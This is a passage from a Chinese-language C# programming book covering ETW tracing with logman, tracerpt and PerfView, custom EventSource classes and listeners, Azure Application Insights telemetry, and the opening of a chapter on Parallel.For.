logman,可以创建和管理事件跟踪会话,把ETW跟踪信息写入二进制日志文件。tracerpt 也可用于Windows。这个工具允许将从logman写入的二进制信息转换为CSV、XML或 EVTX文件格式。PerfView工具提供了ETW跟踪的图形化信息。 1. logman 下面开始使用logman从以前创建的应用程序中创建一个跟踪会话。需要先启动应用程 序,复制为应用程序创建的GUID。需要这个GUID和logman启动日志会话。start选项开始 一个新的会话来进行记录。-p选项定义了提供程序的名称;这里的GUID用来确定提供程 序。-o选项定义了输出文件,-ets选项直接把命令发送给事件跟踪系统,无需调度。确保 在有写入权限的目录中启动logman,否则它就不能写入输出文件mytrace.etl: logman start mysession -p {3b0e7fa6-0346-5781-db55-49d84d7103de} -o mytrace.e tl -ets 运行应用程序之后,可以用stop命令停止跟踪会话: logman stop mysession -ets  注意: logman有更多的命令,这里不做介绍。使用logman可以看到所有已安 装的ETW跟踪提供程序、它们的名字和标识符,创建数据收集器,在指定的时间启动 和停止,定义最大日志文件的大小等。使用logman - h可以看到logman的不同选项。 2. tracerpt 日志文件是二进制格式。为了得到可读的表示,可以使用实用工具tracerpt。有了这 个实用工具,指定- of选项,可以提取CSV、XML和EVTX格式: tracerpt mytrace.etl -o mytrace.xml -of XML 现在,信息可以用可读的格式获得。有了应用程序记录的信息,就可以在Task元素中 看到传递给Write方法的事件名,也可以找到EventData元素内的匿名对象: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Wrox-SimpleEventSourceSample" Guid="{3b0e7fa6-0346-5781-db55-49d84d7103de}" /> <EventID>2</EventID> <Version>0</Version> <Level>5</Level> <Task>0</Task> <Opcode>0</Opcode> <Keywords>0x0</Keywords> <TimeCreated SystemTime="2015-10-14T21:45:20.874754600Z" /> <Correlation ActivityID="{00000000-0000-0000-0000-000000000000}" /> <Execution ProcessID="120" ThreadID="9636" ProcessorID="1" KernelTime="45 " UserTime="270" /> <Channel /> <Computer /> </System> <EventData> <Data Name="Info">started app</Data> </EventData> <RenderingInfo Culture="en-US"> <Task>Startup</Task> </RenderingInfo> </Event> 错误信息与跟踪信息一起显示,如下所示: <EventData> <Data Name="Message">An error occurred while sending the request.</Data> <Data Name="Result">-2146233088</Data> </EventData> 3. PerfView 读取跟踪信息的另一个工具是PerfView。可以从微软下载页面 (http://www.microsoft.com/downloads)上下载这个工具。这个工具的1.8版本有很大改 进,可将它用于Visual Studio 2015和EventSource中自描述的ETW格式。这个工具不需要安 装,只需要把它复制到需要的地方即可。启动这个工具后,它使用它所在的子目录,并允 许直接打开二进制ETL文件。图20-1显示了PerfView打开logman创建的文件mytrace.etl。 图20-1 20.2.3 派生自EventSource 除了直接使用EventSource的实例之外,最好在一个地方定义所有可以追踪的信息。 对于许多应用程序而言,定义一个事件源就足够了。这个事件源可以在一个单独的日志程 序集中定义。事件源类需要派生自基类EventSource。有了这个自定义类,所有应写入的 跟踪信息就可以用独立的方法来定义,这些独立方法调用基类的WriteEvent方法。类的实 现采用单例模式,提供一个静态的Log属性,返回一个实例。把这个属性命名为Log是使 用事件源的一个惯例。私有构造函数调用基类的构造函数,设置事件源名称(代码文件 EventSourceSampleInheritance / SampleEventSource.cs): public class SampleEventSource : EventSource { private SampleEventSource() : base("Wrox-SampleEventSource2") { } public static SampleEventSource Log = new SampleEventSource(); public void Startup() { base.WriteEvent(1); } public void CallService(string url) { base.WriteEvent(2, url); } public void CalledService(string url, int length) { base.WriteEvent(3, url, length); } public void ServiceError(string message, int error) { base.WriteEvent(4, message, error); } } 事件源类的所有void方法都用来写入事件信息。如果定义一个辅助方法,就需要用 NonEvent特性加以标记。 在只应写入信息性消息的简单场景中,不需要其他内容。除了把事件ID传递给跟踪 日志之外,WriteEvent方法有18个重载版本,允许传递消息string、int和long值,以及任意 数量的object。 在这个实现代码中,可以使用SampleEventSource类型的成员,写入跟踪消息,如 Program类所示。Main方法使跟踪日志调用Startup方法,调用NetworkRequestSample方 法,通过CallService方法创建一个跟踪日志,并使跟踪日志避免错误(代码文件 EventSourceSampleInheritance/Program.cs): public class Program { public static void Main() { SampleEventSource.Log.Startup(); WriteLine($"Log Guid: {SampleEventSource.Log.Guid}"); WriteLine($"Name: {SampleEventSource.Log.Name}"); NetworkRequestSample().Wait(); ReadLine(); } private static async Task NetworkRequestSample() { try { var client = new HttpClient(); string url = "http://www.cninnovation.com"; SampleEventSource.Log.CallService(url); string result = await client.GetStringAsync(url); SampleEventSource.Log.CalledService(url, result.Length); WriteLine("Complete................."); } catch (Exception ex) { SampleEventSource.Log.ServiceError(ex.Message, ex.HResult); WriteLine(ex.Message); } } } 用这些命令,在项目目录的开发命令提示符下运行应用程序时,会产生一个XML文 件,其中包含跟踪的信息: > logman start mysession -p "{1cedea2a-a420-5660-1ff0-f718b8ea5138}" -o log2.etl -ets > dnx run > logman stop mysession -ets > tracerpt log2.etl -o log2.xml -of XML 服务调用的事件信息如下: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Wrox-SampleEventSource2" Guid="{1cedea2a-a420-5660-1ff0-f718b8ea5138}" /> <EventID>7</EventID> <Version>0</Version> <Level>4</Level> <Task>0</Task> <Opcode>0</Opcode> <Keywords>0xF00000000000</Keywords> <TimeCreated SystemTime="2015-09-06T07:55:28.865368800Z" /> <Correlation ActivityID="{00000000-0000-0000-0000-000000000000}" /> <Execution ProcessID="11056" ThreadID="10816" ProcessorID="0" KernelTime="30" UserTime="90" /> <Channel /> <Computer /> </System> <EventData> <Data Name="url">http://www.cninnovation.com</Data> </EventData> <RenderingInfo Culture="en-US"> <Task>CallService</Task> </RenderingInfo> </Event> 20.2.4 使用注释和EventSource 创建一个派生于EventSource的事件源类,对跟踪信息的定义就有更多的控制。使用 特性可以给方法添加注释。 默认情况下,事件源的名字与类名相同,但应用EventSource特性,可以改变名字和 唯一标识符。每个事件跟踪方法都可以附带Event特性。在这里可以定义事件的ID、操作 码、跟踪级别、自定义关键字以及任务。这些信息用来为Windows创建清单信息,以定义 要记录的信息。方法内使用EventSource调用的基本方法WriteEvent,需要匹配Event特性 定义的事件ID,传递给WriteEvent方法的变量名,需要匹配所声明方法的参数名称。 在示例类SampleEventSource中,自定义关键字由内部类Keywords定义。这个类的成 员强制转换为EventKeywords枚举类型。EventKeywords是基于标识的long类型枚举,仅定 义高位从42开始的值。可以使用所有的低位来定义自定义关键字。Keywords类为设置为 Network、Database、Diagnostics和Performance的最低四位定义了值。枚举EventTask是一 个类似的、基于标识的枚举。与EventKeywords相反,int足以用作后备存储,EventTask没 有预定义的值(只有枚举值None = 0是预定义的)。类似于Keywords类,Task类为 EventTask枚举定义了自定义任务(代码文件EventSourceSampleAnnotations /SampleEventSource.cs): [EventSource(Name="EventSourceSample", Guid="45FFF0E2-7198-4E4F-9FC3-DF693468 0096")] class SampleEventSource : EventSource { public class Keywords { public const EventKeywords Network = (EventKeywords)1; public const EventKeywords Database = (EventKeywords)2; public const EventKeywords Diagnostics = (EventKeywords)4; public const EventKeywords Performance = (EventKeywords)8; } public class Tasks { public const EventTask CreateMenus = (EventTask)1; public const EventTask QueryMenus = (EventTask)2; } private SampleEventSource() { } public static SampleEventSource Log = new SampleEventSource (); [Event(1, Opcode=EventOpcode.Start, Level=EventLevel.Verbose)] public void Startup() { base.WriteEvent(1); } [Event(2, Opcode=EventOpcode.Info, Keywords=Keywords.Network, Level=EventLevel.Verbose, Message="{0}")] public void CallService(string url) { base.WriteEvent(2, url); } [Event(3, Opcode=EventOpcode.Info, Keywords=Keywords.Network, Level=EventLevel.Verbose, Message="{0}, length: {1}")] public void CalledService(string url, int length) { base.WriteEvent(3, url, length); } [Event(4, Opcode=EventOpcode.Info, Keywords=Keywords.Network, Level=EventLevel.Error, Message="{0} error: {1}")] public void ServiceError(string message, int error) { base.WriteEvent(4, message, error); } [Event(5, Opcode=EventOpcode.Info, Task=Tasks.CreateMenus, Level=EventLevel.Verbose, Keywords=Keywords.Network)] public void SomeTask() { base.WriteEvent(5); } } 编写这些事件的Program类是不变的。这些事件的信息现在可以用于使用侦听器,为 特定的关键字、特定的日志级别,或特定的任务过滤事件。如何创建侦听器参见本章后面 的“创建自定义侦听器”一节。 20.2.5 创建事件清单模式 创建自定义事件源类的优点是,可以创建一个清单,描述所有的跟踪信息。使用没有 继承的EventSource类,将Settings属性设置为枚举EventSourceSettings的 EtwSelfDescribingEventFormat值。事件由所调用的方法直接描述。当使用一个继承自 EventSource的类时,Settings属性的值是EtwManifestEventFormat。事件信息由一个清单来 描述。 使用EventSource类的静态方法GenerateManifest可以创建清单文件。第一个参数定义 了事件源的类;第二个参数描述了包含事件源类型的程序集的路径(代码文件 EventSourceSampleAnnotations/ Program. cs): public static void GenerateManifest() { string schema = SampleEventSource.GenerateManifest( typeof(SampleEventSource), "."); File.WriteAllText("sampleeventsource.xml", schema); } 这是包含任务、关键字、事件和事件消息模板的清单信息(代码文件 EventSourceSample-Annotations/sampleeventsource.xml): <instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events"> <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"> <events xmlns="http://schemas.microsoft.com/win/2004/08/events"> <provider name="EventSourceSample" guid="{45fff0e2-7198-4e4f-9fc3-df6934680096}" resourceFileName="." messageFileName="." symbol="EventSourceSample"> <tasks> <task name="CreateMenus" message="$(string.task_CreateMenus)" value="1"/> <task name="QueryMenus" message="$(string.task_QueryMenus)" value="2"/> <task name="EventSourceMessage" message="$(string.task_EventSourceMessage)" value="65534"/> </tasks> <opcodes> </opcodes> <keywords> <keyword name="Network" message="$(string.keyword_Network)" mask="0x1"/> <keyword name="Database" message="$(string.keyword_Database)" mask="0x2"/> <keyword name="Diagnostics" message="$(string.keyword_Diagnostics)" mask="0x4"/> <keyword name="Performance" message="$(string.keyword_Performance)" mask="0x8"/> <keyword name="Session3" message="$(string.keyword_Session3)" mask="0x100000000000"/> <keyword name="Session2" message="$(string.keyword_Session2)" mask="0x200000000000"/> <keyword name="Session1" message="$(string.keyword_Session1)" mask="0x400000000000"/> <keyword name="Session0" message="$(string.keyword_Session0)" mask="0x800000000000"/> </keywords> <events> <event value="0" version="0" level="win:LogAlways" symbol="EventSourceMessage" task="EventSourceMessage" template="EventSourceMessageArgs"/> <event value="1" version="0" level="win:Verbose" symbol="Startup" opcode="win:Start"/> <event value="2" version="0" level="win:Verbose" symbol="CallService" message="$(string.event_CallService)" keywords="Network" template="CallServiceArgs"/> <event value="3" version="0" level="win:Verbose" symbol="CalledService" message="$(string.event_CalledService)" keywords="Network" template="CalledServiceArgs"/> <event value="4" version="0" level="win:Error" symbol="ServiceError" message="$(string.event_ServiceError)" keywords="Network" template="ServiceErrorArgs"/> <event value="5" version="0" level="win:Verbose" symbol="SomeTask" keywords="Network" task="CreateMenus"/> </events> <templates> <template tid="FileName_EventSourceMessageArgs"> <data name="message" inType="win:UnicodeString"/> </template> <template tid="CallServiceArgs"> <data name="url" inType="win:UnicodeString"/> </template> <template tid="CalledServiceArgs"> <data name="url" inType="win:UnicodeString"/> <data name="length" inType="win:Int32"/> </template> <template tid="ServiceErrorArgs"> <data name="message" inType="win:UnicodeString"/> <data name="error" inType="win:Int32"/> </template> </templates> </provider> </events> </instrumentation> <localization> <resources culture="en-GB"> <stringTable> <string id="FileName_event_CalledService" value="%1 length: %2"/> <string id="FileName_event_CallService" value="%1"/> <string id="FileName_event_ServiceError" value="%1 error: %2"/> <string id="FileName_keyword_Database" value="Database"/> <string id="FileName_keyword_Diagnostics" value="Diagnostics"/> <string id="FileName_keyword_Network" value="Network"/> <string id="FileName_keyword_Performance" value="Performance"/> <string id="FileName_keyword_Session0" value="Session0"/> <string id="FileName_keyword_Session1" value="Session1"/> <string id="FileName_keyword_Session2" value="Session2"/> <string id="FileName_keyword_Session3" value="Session3"/> <string id="FileName_task_CreateMenus" value="CreateMenus"/> <string id="FileName_task_EventSourceMessage" value="EventSourceMessage "/> <string id="FileName_task_QueryMenus" value="QueryMenus"/> </stringTable> </resources> </localization> </instrumentationManifest> 有了这些元数据,通过系统注册它,允许系统管理员过滤特定的事件,在有事发生时 得到通知。可以用两种方式处理注册:静态和动态。静态注册需要管理权限,通过 wevtutil.exe命令行工具注册。该工具传递包含清单的DLL。EventSource类也提供了首选的 动态注册。这种情况发生在运行期间,不需要管理权限,就可以在事件流中返回清单,或 者回应标准的ETW命令。 20.2.6 使用活动ID TraceSource新版本的新特性可以轻松地编写活动ID。一旦运行多个任务,它就有助 于了解哪些跟踪消息属于彼此,没有仅基于时间的跟踪消息。例如,对Web应用程序使用 跟踪时,如果知道哪些跟踪消息属于一个请求,就并发处理多个来自客户端的请求。这样 的问题不仅会出现在服务器上,只要运行多个任务,或者使用C# async和await关键字调用 异步方法,这个问题也会出现在客户端应用程序上。此时应使用不同的任务。 当创建派生于TraceSource的类时,为了创建活动ID,只需要定义以Start和Stop作为后 缀的方法。 对于显示活动ID的示例,创建一个支持.NET 4.6和.NET Core 1.0的类库(包)。.NET 的以前版本不支持活动ID的TraceSource新功能。ProcessingStart和RequestStart方法用于启 动活动;ProcessingStop和RequestStop停止活动(代码文件MyApplicationEvents / SampleEventSource): public class SampleEventSource : EventSource { private SampleEventSource() : base("Wrox-SampleEventSource") { } public static SampleEventSource Log = new SampleEventSource(); public void ProcessingStart(int x) { base.WriteEvent(1, x); } public void Processing(int x) { base.WriteEvent(2, x); } public void ProcessingStop(int x) { base.WriteEvent(3, x); } public void RequestStart() { base.WriteEvent(4); } public void RequestStop() { base.WriteEvent(5); } } 编写事件的客户端应用程序利用如下依赖项和名称空间: 依赖项 NETStandard.Library System.Diagnostics.Tracing System.Threading.Tasks.Parallel System.Net.Http MyApplicatonEvents 名称空间 System System.Collections.Generic System.Diagnostics.Tracing System.Net.Http System.Threading.Tasks static System.Console ParallelRequestSample方法调用RequestStart和RequestStop方法来开始和停止活动。在 这些调用之间,使用Parallel.For创建一个并行循环。Parallel类通过调用第三个参数的委 托,使用多个任务并发运行。这个参数实现为一个lambda表达式,来调用 ProcessTaskAsync方法(代码文件ClientApp/Program.cs): private static void ParallelRequestSample() { SampleEventSource.Log.RequestStart(); Parallel.For(0, 20, x => { ProcessTaskAsync(x).Wait(); }); SampleEventSource.Log.RequestStop(); WriteLine("Activity complete"); }  注意: Parallel类详见第21章。 方法ProcessTaskAsync使用ProcessingStart和ProcessingStop写入跟踪信息。在这里,一 个活动在另一个活动内部启动。在分析日志的输出中,活动可以带有层次结构(代码文件 ClientApp/Program.cs): private static async Task ProcessTaskAsync(int x) { SampleEventSource.Log.ProcessingStart(x); var r = new Random(); await Task.Delay(r.Next(500)); using (var client = new HttpClient()) { var response = await client.GetAsync("http://www.bing.com"); } SampleEventSource.Log.ProcessingStop(x); } 以前,使用PerfView工具打开ETL日志文件。PerfView还可以分析运行着的应用程 序。可以用以下选项运行PerfView: PerfView /onlyproviders=*Wrox-SampleEventSource collect 选项collect启动数据收集。使用限定符/onlyproviders关闭内核和CLR提供程序,仅记 录提供程序列出的日志消息。使用限定符-h显示可能的选项和PerfView的限定符。以这种 方式启动PerfView,会立即开始数据收集,直到单击Stop Collection按钮才停止(见图20- 2)。 图20-2 在启动跟踪收集之后运行应用程序,然后停止收集,就可以看到生成的活动ID和事 件类型Wrox-SampleEventSource / ProcessingStart / Start。ID允许有层次结构,例如/ / 1/2带 有一个父活动和一个子活动。每次循环迭代,都会看到一个不同的活动ID(见图20-3)。 对于事件类型Wrox-SampleEventSource / ProcessingStop / Stop,可以看到相同的活动ID, 因为它们关联到同样的活动上。 图20-3 使用PerfView,可以在左边选择多个事件类型,并添加一个过滤器,例如/ / 1/4,这 样就会看到属于这个活动的所有事件(见图20-4)。这里可以看到一个活动ID可以跨多个 线程。相同活动的开始和停止事件使用不同的线程。 图20-4 20.3 创建自定义侦听器 写入跟踪消息时,我们了解了如何使用工具,如logman、tracerpt和PerfView,读取它 们。还可以创建一个自定义的进程内事件侦听器,把事件写入需要的位置。 创建自定义事件侦听器时,需要创建一个派生自基类EventListener的类。为此,只需 要重写OnEventWritten方法。在这个方法中,把跟踪消息传递给类型 EventWrittenEventArgs的参数。这个样例的实现代码发送事件的信息,包括有效载荷,这 是传递给EventSource的WriteEvent方法的额外数据(代码文件ClientApp / MyEventListener.cs): public class MyEventListener : EventListener { protected override void OnEventSourceCreated(EventSource eventSource) { WriteLine($"created {eventSource.Name} {eventSource.Guid}"); } protected override void OnEventWritten(EventWrittenEventArgs eventData) { WriteLine($"event id: {eventData.EventId} source: {eventData.EventSource. Name}"); foreach (var payload in eventData.Payload) { WriteLine($"\t{payload}"); } } } 侦听器在Program类的Main方法中激活。通过调用EventSource类的静态方法 GetSources,可以访问事件源(代码文件ClientApp / Program. cs): IEnumerable<EventSource> eventSources = EventSource.GetSources(); InitListener(eventSources); InitListener方法调用自定义侦听器的EnableEvents方法,并传递每个事件源。示例代 码注册EventLevel.LogAlways设置,来侦听写入的每个日志消息。还可以指定只写入信息 性消息,其中还包括错误,或只写入错误。 private static void InitListener(IEnumerable<EventSource> sources) { listener = new MyEventListener(); foreach (var source in sources) { listener.EnableEvents(source, EventLevel.LogAlways); } } 运行应用程序时,会看到FrameworkEventSource和Wrox-SampleEventSource的事件写 入控制台。使用像这样的自定义事件侦听器,可以轻松地将事件写入Application Insights,这是一个基于云的遥测服务,参见下一节。 20.4 使用Application Insights Application Insights是一个Microsoft Azure技术,允许监控应用程序的使用情况和性 能,而无论它们在哪里使用。可以得到用户关于应用程序问题的报告,例如,可以找出异 常,也可以找到用户在应用程序中正在使用的特性。例如,假设给应用程序添加一个新特 性。用户会找到激活该特性的按钮吗? 使用Application Insights,很容易识别用户使用应用程序时遇到的问题。微软很容易 集成Application Insights和各种各样的应用程序(包括Web和Windows应用程序)。  注意: 这里有一些特性示例,用户很难在微软自己的产品中找到它们。Xbox 是第一个为用户界面提供大磁贴的设备。搜索特性放在磁贴的下面。虽然这个按钮可 以直接显示在用户面前,但用户看不到它。微软把搜索功能移动到磁贴内,现在用户 可以找到它。另一个例子是Windows Phone上的物理搜索按钮。这个按钮用于应用程序 内的搜索。用户抱怨,没有在电子邮件内搜索的选项,因为他们不认为这个物理按钮 可以搜索电子邮件。微软改变了功能。现在物理搜索按钮只用于在网上搜索内容,邮 件应用程序有自己的搜索按钮。Windows 8有一个相似的搜索问题:用户不使用功能区 中的搜索功能,在应用程序内搜索。Windows 8.1改变了指南,使用功能区中的搜索功 能,现在应用程序包含自己的搜索框;在Windows 10中还有一个自动显示框。看起来 有一些共性? 20.4.1 创建通用Windows应用程序 利用Application Insights的示例应用程序之一是Universal Windows Platform应用程序, 它有两个页面:MainPage和SecondPage,还有几个按钮和文本框控件来模拟一个动作,抛 出一个异常,并在页面之间导航。下面的代码片段定义了用户界面(代码文件 WinAppInsights / MainPage. xaml): <StackPanel Orientation="Vertical"> <Button Content="Navigate to SecondPage" Click="OnNavigateToSecondPage" /> <TextBox x:Name="sampleDataText" Header="Sample Data" /> <Button Content="Action" Click="OnAction" /> <Button Content="Create Error" Click="OnError" /> </StackPanel> 通过单击Navigate to SecondPage按钮来调用OnNavigateToSecondPage事件处理程序方 法,导航到第二页(代码文件WinAppInsights/MainPage.xaml.cs): private void OnNavigateToSecondPage(object sender, RoutedEventArgs e) { this.Frame.Navigate(typeof(SecondPage)); } 在OnAction()方法中,一个对话框显示了用户输入的数据: private async void OnAction(object sender, RoutedEventArgs e) { var dialog = new ContentDialog { Title = "Sample", Content = $"You entered {sampleDataText.Text}", PrimaryButtonText = "Ok" }; await dialog.ShowAsync(); } OnError()方法抛出了一个未处理的异常: private void OnError(object sender, RoutedEventArgs e) { throw new Exception("something bad happened"); }  注意: 使用通用Windows平台创建应用程序的更多信息,参见第29、32和33 章。 20.4.2 创建Application Insights资源 为了使用Application Insights,需要给微软Azure账户创建一个Application Insights资 源。在微软Azure门户网站(http://portal.azure.com),可以用Developer Services找到这个 资源。创建这个资源时,需要指定服务的名称、应用程序类型、资源组、订阅和服务的位 置(参见图20-5)。 图20-5 在创建Application Insights资源后,会显示资源窗口,在其中可以看到所收集的应用 程序信息。在这个管理用户界面中,需要Properties设置中可用的仪表键。  注意: 如果没有微软Azure账户,可以尝试使用免费的账户。关于 ApplicationInsights的定价,不同的价格水平提供不同的功能。有一个免费版提供每月至 多500万个数据点。更多信息可访问http://azure.microsoft.com。  注意: 除了从门户网站上创建这个资源外,还可以从项目模板中选择 ApplicationInsights,在Microsoft Azure中创建这个资源。 20.4.3 配置Windows应用程序 创建通用Windows应用程序之后,可以添加Application Insights,为此,在Solution Explorer中选择项目,打开应用程序的上下文菜单(单击鼠标右键,或按下键盘上的应用 程序上下文键),然后选择Add Application Insights Telemetry。在这里可以选择之前创建 的Application Insights资源(见图20-6),或者创建一个新的资源。这个配置会添加一个对 NuGet包Microsoft.ApplicationInsights. WindowsApps的引用和配置文件 ApplicationInsights.config。如果以编程方式添加这个配置文件,就需要复制Azure门户中 的仪表键,并将它添加到InstrumentationKey元素中(代码文件WinAppInsights/ ApplicationInsights.config): <? xml version="1.0" encoding="utf-8" ? > <ApplicationInsights> <InstrumentationKey>Add your instrumentation key here</InstrumentationKey> </ApplicationInsights> 图20-6 需要把这个文件的Build操作设置为Content,还需要将文件复制到输出目录(只需要 在属性窗口中设置相应的属性)。 接下来,通过调用WindowsAppInitializer类的InitializeAsync方法,初始化Application Insights (名称空间Microsoft.ApplicationInsights)。这个方法允许定义应该使用的 Windows收集器;默认情况下,配置元数据、会话、页面视图和未处理的异常收集器(代 码文件WinAppInsights/App.xaml.cs): public App() { WindowsAppInitializer.InitializeAsync(WindowsCollectors.Metadata | WindowsCollectors.Session | WindowsCollectors.PageView | WindowsCollectors.UnhandledException); this.InitializeComponent(); this.Suspending += OnSuspending; }  注意: InitializeAsync方法默认读取文件applicationinsights.config中的仪表 键。还可以使用这个方法的重载版本,通过第一个参数传递仪表键。 20.4.4 使用收集器 不需要做更多工作,你就得到了Application Insights的信息。只需要启动应用程序, InitializeAsync方法定义的收集器就会完成其工作。运行应用程序后,在页面之间导航, 生成异常,可以进入Azure门户网站,查看报告的信息。请注意,用调试器运行时,信息 会立即转移到云中,但没有调试器,信息会缓存在本地,提交到包中。在信息出现之前, 可能需要等几分钟。 参见图20-7的页面浏览。可以看到会话和用户的数量,打开了什么页面,打开页面的 频率,用户的信息,如用户的设备、地区、IP地址等。 图20-7 还可以看到应用程序的所有事故信息。图20-8显示了异常、异常发生的地点和时间。 一些错误可能与特定的设备或特定的地区相关。在上述照片中,使用微软的Bing服务在微 软商店中搜索应用程序,发现在中国出了问题;有些用户可能会在防火墙后面,无法获得 这一服务。如果想看看这个程序,只需要在微软商店中搜索Picture Search,安装并运行这 个应用程序。 图20-8 20.4.5 编写自定义事件 还可以定义应该写入云服务的自定义遥测信息。为了写入自定义遥测数据,需要实例 化一个TelemetryClient对象。这个类是线程安全的,所以可以在多个线程中使用一个实 例。在这里,修改OnAction方法,写入调用TrackEvent的事件信息。调用TrackEvent时, 可以传递事件名称、可选的属性和度量,或传递EventTelemetry类型的对象(代码文件 WinAppInsights / MainPage.xaml.cs): private TelemetryClient _telemetry = new TelemetryClient(); private async void OnAction(object sender, RoutedEventArgs e) { _telemetry.TrackEvent("OnAction", properties: new Dictionary<string, string>() { ["data"] = sampleDataText.Text }); var dialog = new ContentDialog { Title = "Sample", Content = $"You entered {sampleDataText.Text}", PrimaryButtonText = "Ok" }; await dialog.ShowAsync(); } 此事件信息如图20-9所示。通过属性可以传递字符串对象的字典,它们都显示在云门 户中。使用度量标准,可以传递字符串和双精度值的字典,在其中可以传递分析应用程序 的使用情况所需要的任何数量。 图20-9 当你捕获异常时,可以通过调用TrackException写入错误信息。利用TrackException还 可以传递属性和度量,并使用ExceptionTelemetry类获得有关异常的信息: private void OnError(object sender, RoutedEventArgs e) { try { throw new Exception("something bad happened"); } catch (Exception ex) { _telemetry.TrackException( new ExceptionTelemetry { Exception = ex, HandledAt = ExceptionHandledAt.UserCode, SeverityLevel = SeverityLevel.Error }); } } 可以用来编写自定义事件的其他方法有跟踪指标信息的TrackMetric、发送页面信息的 TrackPageView、用于整体跟踪信息的TrackTrace(在其中可以指定跟踪级别),以及主 要用于Web应用程序的TrackRequest。 20.5 小结 本章介绍了跟踪和日志功能,它们有助于找出应用程序中的问题。应尽早规划,把这 些功能内置于应用程序中。这可以避免以后的许多故障排除问题。 使用跟踪功能,可以把调试消息写入应用程序,也可以用于最终发布的产品。如果出 了问题,就可以修改配置值,从而打开跟踪功能,并找出问题。 对于Application Insights,使用这个云服务时,有很多开箱即用的特性可用。只用几 行代码,很容易分析应用程序的崩溃和页面的浏览。如果添加更多代码,可以找到用户是 否没有使用应用程序的一些特性。 本章有一个小片段使用了Parallel类,下一章将详细讨论用Task和Parallel类进行并行 编程的细节。 第21章 任务和并行编程 本章要点 ● 多线程概述 ● 使用Parallel类 ● 使用任务 ● 使用取消架构 ● 使用数据流库 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/procsharp,单击Download Code选项卡即可下载本章源代 码。本章代码分为以下几个主要的示例文件: ● Parallel ● Task ● Cancellation ● DataFlow 21.1 概述 使用多线程有几个原因。假设从应用程序进行网络调用需要一定的时间。我们不希望 用户界面停止响应,让用户一直等待,直到从服务器返回一个响应。用户可以同时执行其 他一些操作,或者甚至取消发送给服务器的请求。这些都可以使用线程来实现。 对于所有需要等待的操作,例如,因为文件、数据库或网络访问都需要一定的时间, 此时就可以启动一个新线程,同时完成其他任务。即使是处理密集型的任务,线程也是有 帮助的。一个进程的多个线程可以同时运行在不同的CPU上,或多核CPU的不同内核上。 还必须注意运行多线程时的一些问题。它们可以同时运行,但如果线程访问相同的数 据,就很容易出问题。为了避免出问题,必须实现同步机制。 自.NET 4以来,.NET提供了线程的一个抽象机制:任务。任务允许建立任务之间的 关系,例如,第一个任务完成时,应该继续下一个任务。也可以建立一个层次结构,其中 包含多个任务。 除了使用任务之外,还可以使用Parallel类实现并行活动。需要区分数据并行(在不 同的任务之间同时处理一些数据)和任务并行性(同时执行不同的功能)。 在创建并行程序时,有很多不同的选择。应该使用适合场景的最简单选项。本章首先 介绍Parallel类,它提供了非常简单的并行性。如果这就是需要的类,使用这个类即可。 如果需要更多的控制,比如需要管理任务之间的关系,或定义返回任务的方法,就要使用 Task类。 本章还包括数据流库,如果需要基于操作的编程通过管道传送数据,这可能是最简单 的一个库了。 如果需要更多地控制并行性,如设置优先级,就需要使用Thread类。  注意: 不同任务之间的同步参见第22章。通过关键字async和await来使用异 步方法参见第15章。Parallel LINQ提供了任务并行性的一种变体,详见第13章。 21.2 Parallel类 Parallel类是对线程的一个很好的抽象。该类位于System.Threading.Tasks名称空间中, 提供了数据和任务并行性。 Parallel类定义了并行的for和foreach的静态方法。对于C#的for和foreach语句而言,循 环从一个线程中运行。Parallel类使用多个任务,因此使用多个线程来完成这个作业。 Parallel.For()和Parallel.ForEach()方法在每次迭代中调用相同的代码,而 Parallel.Invoke()方法允许同时调用不同的方法。Parallel.Invoke用于任务并行性,而 Parallel.ForEach用于数据并行性。 21.2.1 使用Parallel.For()方法循环 Parallel.For()方法类似于C#的for循环语句,也是多次执行一个任务。使用 Parallel.For()方法,可以并行运行迭代。迭代的顺序没有定义。 ParallelSamples的示例代码使用了如下依赖项和名称空间: 依赖项: NETStandard.Library System.Threading.Tasks.Parallel System.Threading.Thread 名称空间: System.Threading System.Threading.Tasks static System.Console  注意: 这个示例使用命令行参数。为了了解不同的特性,应在启动示例应用 程序时传递不同的参数,如下所示,或检查Main()方法。在Visual Studio中,可以在 项目属性的Debug选项中传递命令行参数。使用dotnet命令行,传递命令行参数-pf,则 可以启动命令dotnet run -- - pf。 有关线程和任务的信息,下面的Log方法把线程和任务标识符写到控制台(代码文件 ParallelSamples / Program.cs): public static void Log(string prefix) { WriteLine($"{prefix}, task: {Task.CurrentId}, " + $"thread: {Thread.CurrentThread.ManagedThreadId}"); } 下面看看在Parallel.For()方法中,前两个参数定义了循环的开头和结束。示例从0 迭代到9。第3个参数是一个Action<int>委托。整数参数是循环的迭代次数,该参数被传递 给委托引用的方法。Parallel.For()方法的返回类型是ParallelLoopResult结构,它提供了 循环是否结束的信息。 public static void ParallelFor() { ParallelLoopResult result = Parallel.For(0, 10, i => { Log($"S {i}"); Task.Delay(10).Wait(); Log($"E {i}"); }); WriteLine($"Is completed: {result.IsCompleted}"); } 在Parallel.For()的方法体中,把索引、任务标识符和线程标识符写入控制台中。从 输出可以看出,顺序是不能保证的。如果再次运行这个程序,可以看到不同的结果。程序 这次的运行顺序是0-4-6-2-8…,有9个任务和6个线程。任务不一定映射到一个线程上。线 程也可以被不同的任务重用。 S 0, task: 5, thread: 1 S 4, task: 7, thread: 6 S 6, task: 8, thread: 7 S 2, task: 6, thread: 5 S 8, task: 9, thread: 8 E 8, task: 9, thread: 8 S 9, task: 14, thread: 8 E 4, task: 7, thread: 6 S 5, task: 17, thread: 6 E 6, task: 8, thread: 7 S 7, task: 18, thread: 7 E 0, task: 5, thread: 1 S 3, task: 5, thread: 1 E 2, task: 6, thread: 5 S 1, task: 16, thread: 10 E 7, task: 18, thread: 7 E 5, task: 17, thread: 6 E 9, task: 14, thread: 8 E 1, task: 16, thread: 10 E 3, task: 5, thread: 1 Is completed: True 并行体内的延迟等待10毫秒,会有更好的机会来创建新线程。如果删除这行代码,就 会使用更少的线程和任务。 在结果中还可以看到,循环的每个end-log使用与start-log相同的线程和任务。使用 Task.Delay()和Wait()方法会阻塞当前线程,直到延迟结束。 修改前面的示例,现在使用await关键字和Task.Delay()方法: public static void ParallelForWithAsync() { 